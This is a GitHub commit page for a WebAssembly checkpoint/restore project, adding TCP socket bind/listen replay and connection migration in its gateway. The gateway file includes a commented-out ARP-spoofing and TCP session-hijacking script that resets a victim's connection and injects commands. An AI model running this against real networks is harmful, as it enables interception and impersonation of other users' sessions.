Skip to content

Commit

Permalink
fix tcp
Browse files Browse the repository at this point in the history
  • Loading branch information
victoryang00 committed Jan 16, 2024
1 parent ae10fdf commit b4846c7
Show file tree
Hide file tree
Showing 7 changed files with 181 additions and 18 deletions.
2 changes: 1 addition & 1 deletion .github/workflows/build-windows.yml
Original file line number Diff line number Diff line change
Expand Up @@ -79,7 +79,7 @@ jobs:
- name: build
working-directory: ${{runner.workspace}}/build
run: |
cmake --build . --config ${{matrix.build}} && cp MVVM_checkpoint.exe MVVM_checkpoint-windows.exe && cp MVVM_restore.exe MVVM_restore-windows.exe
cmake --build . --config ${{matrix.build}} && cp ${{matrix.build}}/MVVM_checkpoint.exe ${{matrix.build}}/MVVM_checkpoint-windows.exe && cp ${{matrix.build}}/MVVM_restore.exe ${{matrix.build}}/MVVM_restore-windows.exe
- uses: actions/upload-artifact@v2
if: startsWith(github.ref, 'refs/tags/') && ${{matrix.build}} == "Release"
Expand Down
91 changes: 89 additions & 2 deletions gateway/main.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -488,6 +488,8 @@ int main() {
tcp_v_to_s =
new TCPConnection(server_ip, client_ip, op_data->addr[0][1].port, op_data->addr[0][0].port,
MVVM_SOCK_INTERFACE, TCPConnection::TIME_WAIT);
tcp_v_to_s->Sync();

// block the connection
start_block(client_ip, server_ip, op_data->addr[0][1].port, op_data->addr[0][0].port);
}
Expand All @@ -509,19 +511,104 @@ int main() {
// stop keep_alive
if (op_data->is_tcp) {
backend_thread.pop_back();
tcp_v_to_s =
new TCPConnection(server_ip, client_ip, op_data->addr[0][1].port, op_data->addr[0][0].port,
MVVM_SOCK_INTERFACE, TCPConnection::ESTABLISHED);
tcp_s_to_v =
new TCPConnection(client_ip, server_ip, op_data->addr[0][0].port, op_data->addr[0][1].port,
MVVM_SOCK_INTERFACE, TCPConnection::ESTABLISHED);
/* Both connection are already established... */
tcp_v_to_s->Sync();
tcp_s_to_v->Sync();

// stop SYN
LOGV(ERROR) << "Connections synchronized ";

}
sleep(1);
break;
}
}
}
}
}
// #include <iostream>
// #include <string>
// #include <crafter.h>
// #include <crafter/Utils/TCPConnection.h>

// /* Collapse namespaces */
// using namespace std;
// using namespace Crafter;

// /* Source port that we have to find out */
// short_word srcport = 0;

// int main() {

// /* Set the interface */
// string iface = "docker0";

// ip_forward();

// /* Set connection data */
// string dst_ip = "172.17.0.3"; // <-- Destination IP
// string src_ip = "172.17.0.2"; // <-- Spoof IP
// short_word dstport = 12346; // <-- We know the spoofed IP connects to this port
// short_word srcport = 15772;

// /* Begin the spoofing */
// ARPContext* arp_context = ARPSpoofingReply(dst_ip,src_ip,iface);

// /* Print some info */
// PrintARPContext(*arp_context);

// cout << "[@] Detected a source port: " << srcport << endl;

// /* ------------------------------------- */

// /* TCP connection victim to server */
// TCPConnection tcp_v_to_s(src_ip,dst_ip,srcport,dstport,iface,TCPConnection::ESTABLISHED);
// /* TCP connection server to victim */
// TCPConnection tcp_s_to_v(dst_ip,src_ip,dstport,srcport,iface,TCPConnection::ESTABLISHED);
// /* Both connection are already established... */

// /* [+] Synchronize the ACK and SEQ numbers
// * This will block the program until some TCP packets from the spoofed connection
// * pass through your computer...
// */
// tcp_v_to_s.Sync();
// tcp_s_to_v.Sync();

// cout << "[@] Connections synchronized " << endl;

// /* Give all this a second... */
// sleep(1);

// /* Start blocking the traffic of the spoofed connection */
// start_block(dst_ip,src_ip,dstport,srcport);

// /* Reset the connection to the victim */
// tcp_s_to_v.Reset();

// /* Now we communicate with the server from our console... */
// string line = "";
// string centinel = "QUITCONSOLE";
// while(line != centinel) {
// /* Get a line from standard input */
// getline(cin,line);
// /* Send to the destination */
// if(line != centinel) {
// line += "\n";
// tcp_v_to_s.Send(line.c_str());
// }
// }

// /* Close the spoofed connection with the server after we send our commands */
// tcp_v_to_s.Close();

// /* Clear everything */
// clear_block(dst_ip,src_ip,dstport,srcport);
// clear_forward();
// CleanARPContext(arp_context);

// return 0;
// }
6 changes: 3 additions & 3 deletions include/wamr.h
Original file line number Diff line number Diff line change
Expand Up @@ -30,7 +30,7 @@ class WAMRInstance {
std::string aot_file_path{};
std::string wasm_file_path{};
std::vector<std::size_t> int3_addr{};
std::vector<std::pair<std::size_t,std::size_t>> switch_addr{};
std::vector<std::pair<std::size_t, std::size_t>> switch_addr{};
std::vector<const char *> dir_{};
std::vector<const char *> map_dir_{};
std::vector<const char *> env_{};
Expand Down Expand Up @@ -90,8 +90,8 @@ class WAMRInstance {
int invoke_ftell(uint32 fd, uint32 offset, uint32 whench);
int invoke_preopen(uint32 fd, const std::string &path);
int invoke_sock_open(uint32_t domain, uint32_t socktype, uint32_t protocol, uint32_t sockfd);
int invoke_sock_listen();
int invoke_bind(uint32_t sockfd, const struct sockaddr *addr, socklen_t addrlen);
int invoke_sock_listen(uint32_t sockfd, uint32_t fd);
int invoke_sock_bind(uint32_t sockfd, struct sockaddr *sock, socklen_t sock_size);
int invoke_recv(int sockfd, uint8 **buf, size_t len, int flags);
int invoke_recvfrom(int sockfd, uint8 **buf, size_t len, int flags, struct sockaddr *src_addr, socklen_t *addrlen);
~WAMRInstance();
Expand Down
1 change: 1 addition & 0 deletions include/wamr_wasi_context.h
Original file line number Diff line number Diff line change
Expand Up @@ -57,6 +57,7 @@ struct SocketMetaData {
SocketAddrPool socketAddress{};
WasiSockOpenData socketOpenData{};
int replay_start_index{};
bool is_server = false;
bool is_collection = false;
#if !defined(_WIN32)
WasiSockSendToData socketSentToData{}; //
Expand Down
70 changes: 70 additions & 0 deletions src/wamr.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,7 @@
#include "wasm_runtime.h"
#include <regex>
#include <semaphore>
#include <unistd.h>
#if !defined(_WIN32)
#include "thread_manager.h"
#endif
Expand Down Expand Up @@ -229,6 +230,75 @@ int WAMRInstance::invoke_sock_open(uint32_t domain, uint32_t socktype, uint32_t
auto res = wasm_runtime_call_wasm(exec_env, func, 4, argv);
return argv[0];
}
int WAMRInstance::invoke_sock_listen(uint32_t sockfd, uint32_t backlog) {
auto name = "listen";
if (!(func = wasm_runtime_lookup_function(module_inst, name, nullptr))) {
LOGV(ERROR) << "The wasi " << name << " function is not found.";
auto target_module = get_module_instance()->e;
for (int i = 0; i < target_module->function_count; i++) {
auto cur_func = &target_module->functions[i];
if (cur_func->is_import_func) {
LOGV(DEBUG) << cur_func->u.func_import->field_name;
if (!strcmp(cur_func->u.func_import->field_name, name)) {

func = ((WASMFunctionInstanceCommon *)cur_func);
break;
}
} else {
LOGV(DEBUG) << cur_func->u.func->field_name;

if (!strcmp(cur_func->u.func->field_name, name)) {
func = ((WASMFunctionInstanceCommon *)cur_func);
break;
}
}
}
}
uint32 argv[2] = {sockfd, backlog};
auto res = wasm_runtime_call_wasm(exec_env, func, 2, argv);
return argv[0];
}
int WAMRInstance::invoke_sock_bind(uint32_t sockfd, struct sockaddr *sock, socklen_t sock_size) {
auto name = "bind";
if (!(func = wasm_runtime_lookup_function(module_inst, name, nullptr))) {
LOGV(ERROR) << "The wasi " << name << " function is not found.";
auto target_module = get_module_instance()->e;
for (int i = 0; i < target_module->function_count; i++) {
auto cur_func = &target_module->functions[i];
if (cur_func->is_import_func) {
LOGV(DEBUG) << cur_func->u.func_import->field_name;
if (!strcmp(cur_func->u.func_import->field_name, name)) {
func = ((WASMFunctionInstanceCommon *)cur_func);
break;
}
} else {
LOGV(DEBUG) << cur_func->u.func->field_name;

if (!strcmp(cur_func->u.func->field_name, name)) {
func = ((WASMFunctionInstanceCommon *)cur_func);
break;
}
}
}
}

char *buffer_ = nullptr;
uint32_t buffer_for_wasm;

buffer_for_wasm = wasm_runtime_module_malloc(module_inst, 100, reinterpret_cast<void **>(&buffer_));
if (buffer_for_wasm != 0) {
uint32 argv[3];
memcpy(buffer_, sock, sizeof(sock)); // use native address for accessing in runtime
argv[0] = sockfd; // pass the buffer_ address for WASM space
argv[1] = buffer_for_wasm; // the size of buffer_
argv[2] = sock_size; // O_RW | O_CREATE
wasm_runtime_call_wasm(exec_env, func, 3, argv);
int res = argv[0];
wasm_runtime_module_free(module_inst, buffer_for_wasm);
return res;
}
return -1;
}
int WAMRInstance::invoke_fseek(uint32 fd, uint32 offset) {
auto name = "__wasi_fd_seek";
if (!(func = wasm_runtime_lookup_function(module_inst, name, nullptr))) {
Expand Down
6 changes: 1 addition & 5 deletions src/wamr_export.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -199,11 +199,7 @@ void insert_socket(int fd, int domain, int type, int protocol) {

void update_socket_fd_address(int fd, SocketAddrPool *address) {
printf("\n #update_socket_fd_address(fd, address) %d \n\n", fd);

wamr->socket_fd_map_[fd].domain = wamr->socket_fd_map_[fd].domain;
wamr->socket_fd_map_[fd].type = wamr->socket_fd_map_[fd].type;
wamr->socket_fd_map_[fd].protocol = wamr->socket_fd_map_[fd].protocol;

wamr->socket_fd_map_[fd].is_server = true;
wamr->socket_fd_map_[fd].socketAddress.port = address->port;
if (address->is_4) {
wamr->socket_fd_map_[fd].socketAddress.is_4 = true;
Expand Down
23 changes: 16 additions & 7 deletions src/wamr_wasi_context.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -141,13 +141,22 @@ void WAMRWASIContext::restore_impl(WASIArguments *env) {
for (auto [fd, socketMetaData] : this->socket_fd_map) {
auto res = wamr->invoke_sock_open(socketMetaData.domain, socketMetaData.type, socketMetaData.protocol, fd);
// whether need to listen
// if (socketMetaData.type == SOCK_STREAM) {
// wamr->invoke_sock_listen();
// }
// whether need to bind
// if (socketMetaData.type == SOCK_STREAM) {
// wamr->invoke_sock_bind();
// }
if (socketMetaData.is_server) {
if (socketMetaData.socketAddress.is_4) {
struct sockaddr_in sockaddr4 = sockaddr_from_ip4(socketMetaData.socketAddress);
socklen_t sockaddr4_size = sizeof(sockaddr4);
wamr->invoke_sock_bind(fd, (struct sockaddr *)&sockaddr4, sizeof(sockaddr4));

} else {
struct sockaddr_in6 sockaddr6 = sockaddr_from_ip6(socketMetaData.socketAddress);
socklen_t sockaddr6_size = sizeof(sockaddr6);
wamr->invoke_sock_bind(fd, (struct sockaddr *)&sockaddr6, sizeof(sockaddr6));
}
// whether need to bind
if (wamr->op_data.is_tcp) {
wamr->invoke_sock_listen(fd, 3);
}
}
// renumber or not?
LOGV(INFO) << "tmp_sock_fd " << res << " fd" << fd;
wamr->socket_fd_map_[fd] = socketMetaData;
Expand Down

0 comments on commit b4846c7

Please sign in to comment.